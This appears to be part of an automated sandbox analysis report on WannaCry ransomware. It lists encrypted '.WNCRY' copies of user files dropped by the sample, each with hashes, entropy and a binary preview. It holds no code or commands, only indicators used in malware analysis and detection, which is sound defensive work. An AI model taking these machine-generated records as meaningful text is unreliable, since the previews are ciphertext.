                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.842549498062117
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkPpA5wLTwy1jaAE9oCh3IQn0gKwWd8cfGCKzC0PyZDtI+VuHfwWf+gJNn:bka5wLsy1jaJ953R0kAuCd0Py7MfwWf3
                                                                                                      MD5:F6FA68E07B6AF07B2F0A99CC7008FE0B
                                                                                                      SHA1:D7D28FA274D4EAF24922E522A94FB04C8BECEE6A
                                                                                                      SHA-256:FCA5253195810DF5C0089272916EDFD2267C3B97C6F7BA32F2810CE14EAB338B
                                                                                                      SHA-512:F95D7961438DEE0ED2F2E626837AE6E0315973DA6D61998E022DE5E852E1EF5D120BC680AF6D7DEE5CC9FC843B6FF71A9E730FD328E39EF5A3F13B7511F698CA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....~.o9a.t.eK.z...........L. .X.~........!..>.Xf.|]..E..5$h.S)....I.7*_|M..rS,..$._g..QD?....<.A....v.~..sS...<.....#M..`...-.....p+..%...... .....g..Ni..y...!....H....\...7.J..b[...K...48......guO...G....!(%_....n1.{s.%.3.s.5&...+.a.2f.d.d.P............}..[<..]. .h;..xf."..n...[..p...n......z.^d...)....r..u.<9y.Dp....M.)I....>..._......`.tl...q....J.q.E.'wc}i.5!{@.cb. p..... !.f.i.....*.m..8...Wt..1.9.t..M.b..A..WU..m_...R..l.;...............=.(.y.yK...Q.!.h*|."..V........Sd...OH....pb.a....\.h......._Z...T.z.P>J._9.r...C....mREPH\.@...w._.x...T...{.#...h).j"M2T..<.m.......(.S..(.$.......d...1...b]..P...n..7.....=.U..%(`6q.+.. .Q..M.......i.i.E~...O..._..{)..Hf....[kn@..B....].,.~..&/.R...*Gv(Y......v.....T......B.F..X........i..S..g.E~...pcE..`.(..\....$. T.#.O..........eW0Y..k.-~....n.`.Y..e.s.hD.v...en4....^......IP.K.#...E....EU}.........d..sm-;.H. .<.............._.?.S.6..*..+....4.D8.3..^n......TN./.W.~.*.;.0M.]i?}..../

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849733942196178
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkoW/ecSNZO0I384zyTjpWT+VmanfxGaDMXobqyz8UDKUClvyUweWrCU:bkoWmxTxXWKVmq6Xo9zdOLWrCU
                                                                                                      MD5:54330D6009E070917195135B8D40F07A
                                                                                                      SHA1:29B3AA1A9D889C1B322BCB0716F5A48FEF410368
                                                                                                      SHA-256:A7E072B3265A476CD4E017BEF5AE1CF9F95F76A33E5CAD88C7A6FE786D9B8725
                                                                                                      SHA-512:E15D8E55E099746882B7B40E7AAD2CC53443FE176A4CC7A24C64D0A7DC0942F38E48DA415DD42BA3BACF480900F94062D877A386019C79DFB1698A71B47D895D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....5...+uU......G...S9.%..L.EP.R..............WX..G....p..\|.......f.35.M.%n.v.J.....x.;.Pe......X>.[...-.....z.T...h.;..l.......^.XEz.B{+..1i#b...~........IJ<.x...P...!.?...P.....D.VI{G..!#.,9 /C.',........w.:p.!q.S.>L,.....qh.....O.g*.VK.t.W@................6R....S..-.N.w......x.Y...}p^.....]xe.,./...).e.=........j=......3l.r....."B.>.E4_.#..kkC.K..:......q.v....Y.b.k..(f.$.Gu.da9.N|.ZO.Ik._d_.....QZJ..%QOD.c.1....s......{.'%{.h6...u]Q..q...%x.....kG...Z.F......b....(8h....+:R..<za[..T|..E....#..D.5`..T..>.>.....;.........X.../,..Y..`...V.+ .O.a..6p..!sT..2....gH.-V.....t.....M.....iV...!.....b+.F?..*w.+.#<kiH.<l..C....^A..z.<..(......^o.7.j.QQ.2"...6H..'.;!,..1...%...W..A..t0...g.L.:......KP..~G...{...d.5>9....i...I......Z.5..9..L.d..er....+"t.1...*...D.."..8z.zy.R.WQ..9?[....K>..& .....O.....9%g.e..,8.).).Sz..^Xn.:[.-....RSG..&.....z.3..2....1\.t/.. .......~n....2.Sf.2....]o.p..Mc......%..'$k=..yB;...Y..........e...!O..b.*...=.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8461507691898795
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkoUFlw4WQSicplIrY/q4LzL4q1y/hSk6t/xmx+efFqlx0WbVcFcrCm3TKPleqfU:bkZFl1WUcplH/Zt1yJfFK0Mru7PlTfU
                                                                                                      MD5:4DA820939D7BFF5263E4503F272FAB74
                                                                                                      SHA1:12746CD5B39AE84B453758742C877ECAE6CB7567
                                                                                                      SHA-256:1E651A2ED559E075D05FAA629A092E0D1BFF58B9E5F7B17A99A359B22FCB1AF2
                                                                                                      SHA-512:147BFF805F01A40D3AC134709AA49EAE1D43BE6476B85319B63EF2C0B93DE21F465BF872D9B840346CB86B0032F7AE176C496F31BBDE11DD158B545F63BD9AE1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........6.w.!.Q80G'ww...q.62k_~.u.k|^.m.kA..S.,.g...f'..Q...?.w"..xC.....F..O(*.d..z...0......G......^....H.E#l|..>*.A..R..MD}.P........i..j..Q:..9..L.... .P..'..z....<.R.6.i.X.8r..`.>.......7LM..]v......e`..x{......`...L.6..t[...*lk.g_.R..dT.;...............b...r{..<~T.6oY.i.....^....mT.....E\.h...w....h&ZsQ.&.MV._7._.Ffk(.T.....5.~......+.9....w..H..,..fl.$..l.]t.?..*.....?{.aW..q......U....8.:'...."....)[...3.......U....hL;..e.Eu...p...oA.|./....r$............;..........qg...q|....7.I..#..Lf..n..D.}X.....~|...n..Q.....'.R..LW.}~..T.t...tjh.u.C....sS|h.U.z........4P]t.....m..)<.m...s.h...>..D...U.N,..c....0.d.;..h..!sH..D...i.~........m..k.x($E.blJ....S..u...".=9......=".\>.t......r..a..=o....,.,.s....Yp.Ha..]tG..-..U5o).|..z].~N./........Xx....#.)-.`i.......7..r]......W...{..:c..S.B...=.\6>.m....X.JFJ.\..4..zm.....V.....W...M..F...4.Y.:.O....u..2F..#..@mE&..*m.j..{.c*..v5..T..-+..?..f..^..5...4c..!wtP,.H.../.......>..

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.844140166719657
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkNRD57ehJSczXwFjb9EPd+JIOrURxrJyMVuiD/7XIC:bkNCBzXsqPAJLrURxVp/EC
                                                                                                      MD5:9413CA5E0FEA1215C7DA6424A829E347
                                                                                                      SHA1:ABF147E7341BFA6F83D3F068D72C6B2BCB077001
                                                                                                      SHA-256:036818D7DED60440709ABCA043C596B01EFAC4F778D1F22E85F908FFBA3BEF50
                                                                                                      SHA-512:E331E5EDF7C03B3F85E3C072C457E7863E7DD4E4D6716DEA71F43801253525B41B9F07ED9C7BCEA60096FBEB92BE3518D23F5535B9730CA28600F62273BAA58C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......R....n.'...6A<"...J.^~...%9... .=).'..3!...4.C.0..........}.Z.gG.E..d..wy..'IS..Yf`*lV.h{..S.).{y..*U...ZJ.~X..]..^.(........c.l..H.......SD.w..............].:.J..?.......`.$...\.f..^."....x.>.V_(.......d.......3...).....Id..6...3XY.:....=................I....$e..r..!..uOt.SM..z.mz..u.{..QHN...q.g...bu_..21a.^.*..d0...h:#.<CL......[....3fj...ex....27)n...<........*..\..y.{.. ..?J...l.*?.........N...vv...$...g.,........p...-D.#.0.%`.....I .|.2..:.7.9f..:....zMD3.o..o....Z.j..9.6.=f..i.$.B....>.....:.\n......[.-(...<..)./...H.....8...8..d.2.U.'...."..l..)C.<.#f..^v#{7.p.V.......>....q{ ...vT+..RUH..;h.2_.....p..Y...3k.m)...r....\0..>..X.@.}.dG...T.U.8....3)...8.7F6!Lm.? .[.@.nC.._.c/U.c}....Z....).Peb.L^..S..HUj.iY.~V..&..v.j.N......&...6..d=..@.js...&.x.......;..**.....e[,....h.^P.t.Cw7.h...*.ti..&.m`.r..Y.2h.H.:.N.7p1+..pd.-.j..TR.s..p.0.yhc.6...'.Q..y..:....w6[...............u.2....o..`........_<.BI...J~..%..u...cz

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850963527723378
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkFgyoRjyQZlawbtJNMuhGYWwc6rdBpb57afe7387sEFyZ2gYKVxNuU4rtB:bkScQba8IuhYwHtoa383gYKnHaB
                                                                                                      MD5:30C722BD8B356D74C1601D700634A230
                                                                                                      SHA1:30B2BB7BE280F317CAFC5EE59AA1B9451315A739
                                                                                                      SHA-256:D22C933D05E70340D67D08E1998707BDBBDD89C7A0CF82BBD4BD9CCE080AE11C
                                                                                                      SHA-512:8EBE1345D2F15BB70EBCBEF36D5BE1B02E4D7B357B1120928ABBDF0A204519365D31DC38455C1B77C5343DE8F286518C82FE4F4D40549195C01F27F9777052A3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..... ...$s/.u.5.S.WV.c...?.3..:-}.`Ve..c.....f"W...Ki.vm...{t.......(jc.3....,f..T.2....1v..39...gJC..7..NLD.~/c... q.........V.[.].....K.8....<@.*...u..........m:.v..-..J62.h].5.8.......4l....)..,%.(....k .......cM..;..!r.f.......}..7.......E.33................D..X...i.7QH..Q"....l.._.H.,.@H.k.gVjte.^.dWs.....tf....=G..3.V..K...U.~...#..~..j>._.!...6..O'..C.t..U....x...s.#Ns.y...Ta.aV.W.q.y4............y..Y.%..H.......=F..2....x...XR8..>..c.M...i...0X<q.......o.....PJ.(.f.1..{...-.%o.$.....KY.......^..F...D......>[F...qg.z......p..<.........U..2V.{..%....$.}....F]{.\..=....l%-.d.......v....S.\..~w....c#$..u{....J....1".q3..W8.u<..}.h...}s!lMA.....&EQ;.Fh.......-6.[).6k...0..T.....>..>.4.........H.+...~.m.Tt=.+......m.C|...o,J...k.(!..!!L..J..M.b..L.0..w..^...i....@}.m_^...._lk>.6...Z60...Z...d..f.c.......p.....|RW.......*.$\i...\....;...+.8R)s..B|dU4.c.N.Z..U..m..hn-.g.,X7.%..!...kX.m...V..6YV.*.\%%..EL.X..wZ-q.._J9.......

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.836764504284219
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bktB6YPDY9oSKdBC95LbP7R8mtiraQPc/TmZ54bm610Zj8TNiyP4Cbf72Hs:bk6YbsoSKdBCbn7btA5Bgb8jiiQTis
                                                                                                      MD5:ED5C6E309BD08E0022F17CAD69BA53A8
                                                                                                      SHA1:173EAC7DF0497DF48EC78104FD4148D44E7F0641
                                                                                                      SHA-256:943334469F2CA03C8EFD8D8B695178EBA4B533A2D533E462550BAF32F3122825
                                                                                                      SHA-512:B51E21533A4321FFECAE46BA45AA7383E809C652CC4113475B229B88A4A033CAFBD220A51A4313171E2E09030FC6A051514618F491085E75E512A7E269C0CD78
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....l.zEZ...#..foA.....$.........L{..W.....Q......U{MH...9......6.. .Ip..7y$..tk...5.}..|K3!I._./..I..i.S....#Z.1..*...6.L.`.o..u........~...sW..o'.(%t..1.......;.....2........L:.....:=.#. n..Bc.y).{.S....*...E.P.XcE...:...E....)y.Gm.2v........&.{.................A..+y..i....P.n.Z.P...a=xcp.#D.!y...u.(x.U.pI.u./.....>......-3..]s[....(d.\....Q..7]e..}.c.....>C....0.1@...s.&..D[..R.wB....@.9$....$.K..]......@!8.Pg*.A/._......3......Z.X.)...:...U.zvp.^I.A..4j.N...M..>..+3O.....k.(....c..'P.'j.u.\.v.. ...9x..^?G..../b.N.9T....*..$.. %.C...X+..D..i..D.EOM.:.,u[t.;..;.D$.:1..Aj3.U......=i3..F..`....J....Z......tiEd+...3.P.O.E....6BsE.Q>...M.._.O....H...Az..X.0h..=......4.Q..i....s.Jq.....X2d.3!......z.)..!..P.(.\.D..n.^..v..3.T.D...D.?.h...@....'_....$8.R.z.]..K..Mo.U's...Lf.O+\..%&2G.!..B~.Sw`S4....ba:....a.&S..>M........N1L.%6....d...3IJ.TN.]V.{....%..).(.s...0..;5.)L.q..`...}.|.Y..,G.......[Q..c.O&.._..............3.w...IMw.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\TWGTYTLCKI.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.855312778149843
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkSWreTzCF4TxbLCs7z+D4+wxQUZ8Ab2bhxTRhjNjmXK6bkY6T1zQpwhs1lP:bkjICF4TxbXz+kLQZHbXTYX5d+8pwhsb
                                                                                                      MD5:6CFF4E466C782779B900426598A00E69
                                                                                                      SHA1:AEE54563DC9B029DFF53467C62FB68DDF7A1638B
                                                                                                      SHA-256:19E539E489EC3FC28F3BB52F0E6555938A2B3BCD8931DAB31443722ECEC54A31
                                                                                                      SHA-512:1043C8F6907831268A8717037F46007B4FC4658D3FFF94C86B38EE1C055D3676D9D072517FA407FEA311252742A3124D4210C3A34341C257676F137BE9F5DC38
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....6..Q...{6.6.........Li.....~w..!`.t}n..7.!..|.=...3..8..Z.:..8.g[.8d..._Z......^..(.J.jG|9...;.L.t.N1N..D5.......D.Ju....@..O....?Gz?XzD."...7*}..=..rS..........J..5.W#^.......6.H.o..0...o.dZs..k...^H..,~G..0]6.c..9...Mp..{.z.M/d5..br.........^/b6...................H...U.U.'...k9B......{a.lH...g.E.+%.R..'.........]..9...J..x..@l.1\;........\...\?..._.Ab..A..".~.@.j...^v."<....S.Tw......S%jq.K......w...z?..q..o.......>.B$........Q..:n`..o...)"..Z'.3.W..J...j..t...Jy._..gZ..E..i.4....w&/..u....X.+.d..g.8..i..Y$..c..|...c...~{p.e_!......h....D...&.`8....c...D"..O.n)B(..V...ia.i...j\n..6;^#..DH...bQO2..'..w...(....Vv..q..4...f.......t...>.F.....R.......j.......G'T...-.o.`.KT.W..PwB.Vr3\W../.}.J...!I.p......:....9i.T..r...V....9.r.0.1..:.@.....d..Z."..*t.A..c.].....h)4.K.=<.S.Q........S...../..-B....'..1.nL...c.#Y.m.U...R..1..Sq....t......2..h..Y.....T..%....EMS/....4.v.b.....0F.P..o..v...^.y...;x...@k..J....y.....X..k..e2/L...8.!.....

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UFTNOTWEML.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.822781312151245
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdLEoHyg71DkKhPK49BTYlBAXDni9VG8yN4SQ2g590w8f2TMkdngPco6ub5:bkpny21YKA4zaBkjugN4p2Q9T2NOngk6
                                                                                                      MD5:3677EB938ED8DFCD0110D21D5A89ED3F
                                                                                                      SHA1:4438114B25AE7F09FCE43B101F11423DA3E16C05
                                                                                                      SHA-256:2654E76003C568226BA8D89F8D65E12E785135B9235F5F3D6383567EB874926F
                                                                                                      SHA-512:8BAB5200CEFA2D257DB458846481033B72268A03856D0A0558006F99138A3C703A775B4774BAEB9A2CD284017B2925E8B1F93B4E0BE7B563F6799035D6F14593
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....b.D..W...!.....d..}I_7.8.D...5<,...J............h:.tm............P;...........v.@Z#L.F^...<5.T..H3.. ...<....|.....H......s..PI.....`.p.c..A..i{F...j.|.c......\...tGk...7=I..w....*.#....b_7.J...z..^.H...{z..fK^V...F..........aatK.jl[F^...%..*E................FjP.)4.~.!QTF..[.P..L.....'e.\...Uok...P.a-.Z.5........Q.>O.94..EKDAk.l#...Z...<.U....b....&:..*.D#..1'..-.d...w.Q.......O...7.%].,.Y......5.6...;.....U,...7lQ..ft..ee.p....Y..,4X.3pM...H..6X^.X.....}.f%...x.D...D...@7[I....R.._..B.th..\..7.0.Q{GY%5....M.jwCL>..f..t..[B......]....h?.Z..P...qR..X.......x.p..P#.l.._......}hS..d...8...O..;.j.-.......V.w..R>...;N..D4...dp..2....B..c-...}.l.......ZLkW..~o........G...h.....a2.....U.Z.....(j^c.(V.<....&../.=..C..8|.p.q...R..*..YJ.-.....y..*...^t.....g.......t...b..-FZm.....c.%...S..B.K.9....A.q[..dPHM..^8.jGwS.a.ws.[`}...>..<.h.&[.....".S..{.\.Ah.b.....;.0...[;..U..9.P.....zQ......Ht...a..$].h]..{..;.e....K).":nEX?..*

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.832732422584235
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bklxVP474hKwE8Oz2maULcOh7nuaK+c5eQtOFO8IIodULkme:bkrVg2KwE8ggQYb4FXII9Lkme
                                                                                                      MD5:2DD7121AA7C2EF156DB02DD1E1840C79
                                                                                                      SHA1:4C5C96F5DE53536754A6EDA7A774D4EAB0D34380
                                                                                                      SHA-256:47EC69CE88E91B1DEC49B451C7D6ED9877642F1370D6F4453B0C51B1EF7F8D17
                                                                                                      SHA-512:544FDC8252EA9EB3C3A877016A3EBDAD7397AC7A61064C1BC15F03748F2FD4E1C2CFCF13C0A635AADFAFFD6863DF8D00CCF6AD85C8AF1987B974D1A3DD6064CC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....a%x.........B....?)l.(..LY_./....<.....%UR\^...u$.#.......V|...o.n.a..E.........&Z.d>Y..|.H.C&.Y..w.....J.......K..b..0.co'....-..$..(5....*I..u~Ng.[..pz.\4..=..C=.e..b....8k.3kWQG.T..=1]?.8.F..6..'...j.l....l:Wv......+..<..)s"[._...#.N7PA.`.L...............C.x.I..7Z*tV.PU.z.....b.(+..#....H]'..T'.b=..]0.-..N.d|..=#3.......Jr.V...tc....b..u........&..R.".h>P..C.......='#..._..:Y.Y.:.....@..SMz6..6..R......3.<...#..%4..}.....Ae'...PB.0!..3#.i|G..PH..a\.ji.N..II.&.M{G...'...h.4.X.nek".0.......'C.w......46%.B. VbW....iy...;-...m.....>.y.pY.C9.!.....d...|.r|..hf..x"DVt.....qt~.Zk.F.O.*..pAA%2..Sn)..P.\..F.4..\.#p....Tc.1.......E.C,o.A.k..T'..p|zE...+_0.[[D...^BiO.....DF..U'..C..^.*.O.hF..g.m...=......N>.....Br.V...RrL.)').....q..u..oQ....-...th[a.g..H..]4d..H.>S.c.7..}....8...&..C.2k}C.J..>..R(...K9Q.....V.$`....0+}&....r.^.Y.m{.r9k.k.~..{A..c..R..w6....c.!.M.]Os.o]w...?...A.x........^.Ic._vK...J..]M...../b.@..1at..]

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.847908647472595
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkQbVXUh/2Ycx3HfqkFiq4ObehLygAy04nqYxsWfms9DuQtEUtH6QW06h9tguV8Q:bkQhXUhox3fqkFiqNben04qVWP9Ddt32
                                                                                                      MD5:CC31923BBBDD3D5D73FC062F75016135
                                                                                                      SHA1:C03AFA9A912C8D582BE464599596E5DF644D29D2
                                                                                                      SHA-256:1D5C002C44C518210258A03D7670CA17E0B375D2F1C303F472D0F0BA891C2BD0
                                                                                                      SHA-512:9E303297346D7778165FE6524B3E12B81A86D594DAEE1F2539E0578FE268F57DE48C6340ECFB667339DA32F7BE3C7E68A3FDE13CA47A725FFE01B1469E226A74
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....<.A.......|..e.o.cqA.X.'.....q.4.E1..es....mM...X./...2.J.....!(.....| 0..M..(.:.6.i.K..!j.r....C.Kn.H.!...&.U%.O.F..K.q..g..EE...#....ZIZ....f.dZM..g.q.U.tM.?.I...$|......D..p.?....\..o....W...=.....C.#.z.~(%.H...5..B.S.0..#Qk.+yas..F../vH...4............9Q5.Z,.da.[.&....L...v.5..(9)rw....'.!.g+..=Y.Z2I...6.1.$........p.UL.........x*Y..A....f<.U.Q../...'....BX.;k....H..M....714.#.......?.. w....+..........-..<.....:..7...1...N6P...[..:.@=....#...G...o%......D"G....I...e>.8V:..`...z6.....h.......">...p....l..)..f.F/U..|j../....8..m...p...g. .....|..+s.4:..l.8..f.2..k....%@.g..P..D%I ^'..shR.._..Y.s)`2y..a........3Ota.*...0-[7..Y.K.5..T....~..n.9A..XU7."u....f|.......t....kl{...J..j..2..K....@.E^y..b.Qi.9....h..V.N..J.:.Vq.l.\..GOR".cC..|..9..e........U.sq..E.....J...R..D....{..Bi..M.........0...i..D%c..o.G.....h..<S.....r.E........D.2.U..>e..d7*..^..SY..0.K`y1.f.....@.C'G.._...#.%..L.A....Q.q....-T.....:..U.07.c..2.{c1..X....I

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\WXDORXTPKQ.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8230463101381265
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkhsKRyXEvORRl3WRfriIXjBbnizsi7l+V5liY/K1Xk8abUcbfY0Nt5D:bk5yXEvAl3WRfuMGz1l+V5liYMaa0xD
                                                                                                      MD5:ADD021AE9F4163759EAC25AC408AAA13
                                                                                                      SHA1:33AF051AEDC6ACAFA73F294AA34F68AA2F0ABE9A
                                                                                                      SHA-256:F3ED4AB7FBB43BC11F9605FB6E798C865CF219EB4B21ED019E8EECB229120AC8
                                                                                                      SHA-512:746781F3F0C21DFA9CFE43FFA7781BE23E77F19E7597261D9B70AB1D8B81271ECDC350024E5B9430F0C6D823F3F94E384F54D9BA535D55BACAA73B420DE61FB3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......!D.R..Rb.R.0H.Y.b....3.....pI.".U..aO.}......,.....T....5!!..Z...s.K..~.....qt....z..x....O."7....|.u...Xn.h...4.5.e..._..PF.|....1.%].......~..Vt.+.I_z......)W.n...l..s..B.B.1.o.J..~.tb....X..0q....W.[......-...M.4E..W..1Q.!#]..B$.#..d.C@.M..l..d.............X..o....]8.!.4\.......r.0s.f..$v..p.TF.JAG....6p..<U.r..Pu..6...,.Q....s.t.........mt.Q.Q...,.)I.../......cA.....5F*.....&.Z4...P...l...h.......7.e.h|.9.Y.B6g...k..6.*....0%+.........BI.bf.....??6....%.I.[x..p0.*.m...\..A..n./.2)..._........v.g.J..a.xE@.-..h.-.5.,....$..p5...k.z..[.V......V.@mz..m~.+7......c.m..B.F.@..g.x.j....}9...lr..=l._.....W.gs..?...WY..g{.O.ygD.d....z........B.9..I)k..E%.7.[P.#.q...3.......Nh!-Ko..jI.-.,..._.W+.<.!.....i.a../..9...q\&j..h.wr[.1.@."#.....C..9.......49.~....@......Cz|Sj8]A....'2.D.f......D.S...F....8-....&.O...u.e.B..*~I.........G..oe.t...ry2.+..e.i...0....}.........3.t..C.IOSs..P.tDcM...=..Ze..1i.I..I....N...^.W4........G...$#.....[

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.836725704295326
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bky/RWaPbM5zggyTD+A33djqs5lEXSCNZcBCmaPCcdbUALkCdtyQN0:bkypWaTcyjndj1hCNaBCpFUALPtyt
                                                                                                      MD5:9286319E4B95757D1A63AB4137749F42
                                                                                                      SHA1:8BA156E45604FB9B97CA70802E04811AAC7FF4A3
                                                                                                      SHA-256:5B08368E44EF72C163F9A12F464AC2D1FE64A5A4C18D21C9DA63981784848D06
                                                                                                      SHA-512:F23BB907FE7C3C1190F81760875E137DF5437F400181BE836140EB2DC01AF7479F40B51C0B5BE8889B3318958C73BD5BA19A0636F363D07C1A1075157695BDEA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....0.Z..BV...u..r.H.,.v=...6q..6o.F...JqC....R....6Z...frG..@G.h..7........DLH3..qmu.....9...\?...%3k*.W.&.{v^..ol.i.Q.R.qg.3.......a..?a..Vf.H.=c......k../.e .d.V..w..D.K.....x..Q...CU....o3..~.+.C.._..$..e=.....QI..n).k..q.p..`D.K..q.+.\.`.9?T.............f...VT........ :F..Y..&I4..k.....$...NY0LL..Tu.?.....".....7=D..ie...GJJ.E6..@...v...z.N....>V....i..K|..H....tZ......;.:....2.K.4.....h.&.....|.D.M.6..~..F...$.Lj>USX.....e.......~#.._.Q.Y..f5YtTb..~..Z.xg....}8p.o%...$g...+...u....%]."4........[$..mG....0S.c....]..c{........rq.....b...z.4.p3...Z!.!.B.3. .........s..@.e.e..2N....7.Z..... .:.me...M/...a....<w...$h...0e..z..i|.1/L.&~...X8.8[.....2.d.Bc.?.2..k$y`pX...T.n`......W.}.Q>.'.....v.=.\..)y...dT..W..\...4.v.H8.`~V.=.h..o.}lk=.A......*.P..........!..{.|...=A......H...:.kx...h{(.......aH...R..HGz .Yt.H'#Y......[.E.8g..{.6W!...}.0.3FS..v.p...e.c.Lt...A.~..%..M..V`.$....>....0.%..c..........>.\59..J.Zg;..,.._S....h.......P

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.851789141280261
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkkG0cOEdYOyOrL3YqAcuYPNGn9gxnEYMmUhTOHpvBUp1jPxDvfCed:bkkGBNNL3YZcJG9KnE7mUhTOHpvUpr5d
                                                                                                      MD5:2A63AE719A41F813570DD87AFBE258CC
                                                                                                      SHA1:12DB53EA96E147A8C06CE26712AFCF70E5BC6785
                                                                                                      SHA-256:378E1D39E08E8FBDC06593300CA788D7BB53067F2B9EA12C670323E7BAA50F89
                                                                                                      SHA-512:320B0EF0C9D1B1980A940DC7957F3038E507277253A88527224F83C61960A820039E8C449249AAE70CC0F8D07740F48F741D840F186D4BA3582244A5CF83353D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
